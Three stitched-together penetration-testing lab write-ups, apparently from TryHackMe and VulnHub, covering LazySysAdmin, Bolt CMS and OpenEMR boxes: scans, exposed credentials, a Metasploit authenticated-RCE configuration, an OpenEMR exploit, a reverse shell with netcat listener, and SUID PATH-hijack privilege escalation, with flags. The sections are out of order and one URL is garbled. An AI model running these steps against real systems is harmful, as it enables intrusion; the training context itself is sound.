# sudo su

The command successfully provided me with root-level access. I then navigated to the /root directory using:

# cd /root

This confirmed that I had successfully obtained root access to the target machine.

13. Flag Discovery:

After gaining root access, I navigated to the /root directory and used the ls -la command to view all files, including hidden files.

# ls -la

I found the proof.txt file in the root directory. I then used the cat command to read its contents.

# cat proof.txt

The flag was displayed successfully, confirming that I had obtained root access and completed the main objective of the LazySysAdmin lab.

1. VPN Connection:

I connected my local Kali Linux machine to the TryHackMe network using the provided OpenVPN configuration file.

The VPN connection was established using the OpenVPN client, allowing communication with the target machine in the TryHackMe lab environment.

2. Nmap Scan:

After connecting to the TryHackMe VPN, I performed a full TCP port scan with service and version detection against the target. The scan showed that the host was reachable and had three open ports.

# nmap -sC -sV -p- 10.49.173.116

22/tcp — SSH: OpenSSH 7.6p1

80/tcp — HTTP: Apache 2.4.29 on Ubuntu

8000/tcp — HTTP: Bolt CMS running with PHP 7.2.32

The Bolt CMS running on port 8000 was identified as the main target for further web enumeration and vulnerability analysis.

Question 1: What port number has a web server with a CMS running?

Answer: 8000

3. Web Application Access:

I accessed the web application by navigating to 10.49.173.116:8000 in the browser. The Bolt CMS webpage loaded successfully, confirming that the service identified on port 8000 was hosting the target application.

The Bolt web application was selected for further enumeration and vulnerability analysis.

4. Credential Discovery:

After thoroughly reviewing the Bolt CMS webpage, I found a username and password exposed within the application. The discovered credentials appeared to belong to a CMS user and could be used for authenticated access.

I recorded these credentials for the next stage of enumeration and exploitation.

Question 2: What is the username we can find in the CMS?
Answer: bolt

Question 3: What is the password we can find for the username?
Answer: boltadmin123

5. CMS Login:

After discovering the CMS credentials, I navigated to the /bolt/login page of the target application. I entered the discovered username and password, which allowed me to access the Bolt CMS login interface successfully.

This confirmed that the credentials were valid and provided authenticated access for further testing.

6. Authenticated Access:

I used the previously discovered credentials on the Bolt CMS login page and successfully authenticated to the application. This provided access to the CMS dashboard and allowed me to continue with further enumeration and exploitation.

7. CMS Version Identification

After successfully logging into the Bolt CMS dashboard, I inspected the application information and identified the installed Bolt CMS version.

Question 4: What version of the CMS is installed on the server?
Answer: Bolt 3.7.1

8. Vulnerability Identification

After identifying the installed Bolt CMS version, I researched the version using Rapid7 and found that it was affected by a known vulnerability that could allow authenticated remote code execution (RCE).

This vulnerability was selected for further exploitation in the lab.

9. Exploit Identification:

I searched for the identified Bolt CMS vulnerability on Exploit Database and found the corresponding authenticated RCE exploit.

Question 5: There’s an exploit for a previous version of this CMS that allows authenticated RCE. What’s its EDB-ID?

Answer: 48296

10. Metasploit:

After identifying the available exploit, I opened the Metasploit Framework by running command:

# msfconsole -q

I then searched for the corresponding Bolt CMS exploit module to continue the exploitation process.

11. Metasploit Exploit Identification:

I searched for Bolt CMS exploits in Metasploit using the search bolt command. The results showed an authenticated Remote Code Execution module for Bolt CMS 3.7.0.

The relevant module was:

exploit/unix/webapp/bolt_authenticated_rce

Question 6: What is the full path for this exploit?

Answer: exploit/unix/webapp/bolt_authenticated_rce

12. Exploit Configuration:

I selected the authenticated RCE module using command:

# use 0

Then to checked its available configuration options I use the command:

# show options

The command displayed the parameters required to configure the exploit before execution.

The required settings included the target address, CMS credentials, and listener configuration.

13. Exploit Configuration:

I configured the Metasploit exploit with the required target, listener, and authentication details.

# set rhosts 10.49.173.116
# set lhost   192.168.144.41
# set username bolt
# set password boltadmin123

14. Exploit Execution:

After configuring the required options, I executed the Metasploit exploit against the target. The exploit was successful and provided access to the target machine through a Meterpreter session.

# run

15. Current Directory:

After gaining access to the target, I used the pwd command to identify my current working directory. The session was located at:

This confirmed that I had access to the Bolt user’s file directory.

16. Flag Discovery:

After gaining access to the target machine, I navigated to the /home directory and located the flag.txt file. I then used the cat command to read the contents of the file.

# cat flag.txt

The flag was displayed successfully, confirming that the target had been successfully compromised and the main objective of the Bolt lab was completed.

Question 7: Look for flag.txt inside the machine.
Answer: THM{wh0_d035nt_l0ve5_b0l7_r1gh7?}

1. First I have to use Network Discovery.

The objective of this phase is to identify active hosts available within the network.

# netdiscover

Result:

192.168.1.16 08:00:27:22:36:18 1 60 PCS Systemtechnik GmbH

2. After that use Nmap for port scanning.

# nmap -A 192.168.1.16

Result:

The scan identifies two open ports on the target:

Port 21 (FTP): The FTP service is running on the target.

Port 80 (HTTP): The HTTP service is running on the target, indicating that a web application is hosted on the target.

3. Source Code Analysis:

The HTML source code of the web page is inspected using the View Source option. No sensitive information, hidden comments, credentials, or other useful information is identified.

Robots.txt Analysis:

The /robots.txt file is accessed to identify any paths or directories that the web application does not want search engines to index. No interesting or sensitive paths are identified.

4. Now I have to do the Directory Enumeration.

# gobuster dir -u http://192.168.1.16/ -w /home/devil/Downloads/directory-list-lowercase-2.3-big.txt

From Directory Enumeration I find interesting path openemr.

4. Vulnerability Identification

During the enumeration, the target is identified as running OpenEMR version 4.1.0. I search for known vulnerabilities related to this version and find a corresponding exploit in Exploit Database.

I download the Python proof-of-concept and review the required parameters before testing it against the target.

5. Credential Disclosure

I execute the Python exploit against the target system. The exploit successfully retrieves user credentials from the OpenEMR application.

# python3 49742.py

The returned 2 credentials include a username and a password hash. The password is not obtained in plaintext at this stage.

So crack the hash by using crackstation where, username = admin and password =ackbar username=medical and password=medical

6. Configuration File Discovery

After obtaining access to the OpenEMR administration panel, I navigate to the Administration section and inspect the available options.

Under the File option, I identify the config.php file. The file is inspected to determine whether it contains sensitive application configuration or credential information.

7. . Reverse Shell

After accessing the config.php file through the OpenEMR administration panel, I modify the file by inserting a reverse-shell payload into the appropriate location.

Before executing the payload, I configure a listener on my machine to receive the incoming connection from the target.

The modified configuration file is then triggered through the application, causing the target system to establish a connection back to my machine.

# nc -lnvp 4444

Result:

A reverse shell is successfully obtained from the target system, providing command-line access as the apache user.

9. Obtaining an Interactive Bash Shell

The reverse shell initially provides a basic sh shell without job control. To make the shell more interactive and easier to use, I spawn a Bash shell through Python.

I execute the following command:

# python -c ‘import pty;pty.spawn(“/bin/bash”)’

This upgrades the basic shell to an interactive Bash shell.

10. During enumeration, I attempt to switch from the apache account to the medical user using the su command.

# su medical

This provides access to the target with the privileges associated with the medical user.

11. User Privilege Escalation

After obtaining access as the medical user, I enumerate SUID binaries to identify programs that execute with elevated privileges.

# find / -perm -u=s -type f 2>/dev/null

Among the identified binaries, /usr/bin/healthcheck is selected for further investigation because it has the SUID permission.

12. Healthcheck Binary Analysis

After analyze the health check binary I inspect the strings contained in /usr/bin/healthcheck to understand how the binary operates.

# strings /usr/bin/healthcheck

The binary also contains a reference to clear, which indicates that the command may be resolved through the system’s PATH.

13. PATH Hijacking

The SUID healthcheck binary uses the clear command without specifying its absolute path. I use this behavior to test for a PATH-based privilege escalation.

I create a replacement executable named clear in /tmp and configure the PATH environment variable so that /tmp is searched before the normal system directories.

# cp /bin/bash /tmp/clear

# export PATH=/tmp:$PATH

The modified PATH causes the healthcheck binary to execute the /tmp/clear file when it attempts to run clear.

14. Privilege Escalation to Root

Then after I execute the vulnerable SUID binary after modifying the PATH.

# /usr/bin/healthcheck

After execution, I verify the current identity using:

# id

The id output confirms that the effective user ID is 0, which represents the root account.

15. Root Directory Enumeration

After obtaining root privileges, I access the /root directory and enumerate its contents.

# cd /root

# ls -la

The directory contains several files, including root.txt, which is relevant to the CTF objective.

16. CTF Flag Retrieval

Finally we get the root.txt file to retrieve the final CTF flag.

# cat root.txt

The file displays the CTF completion message and flag information.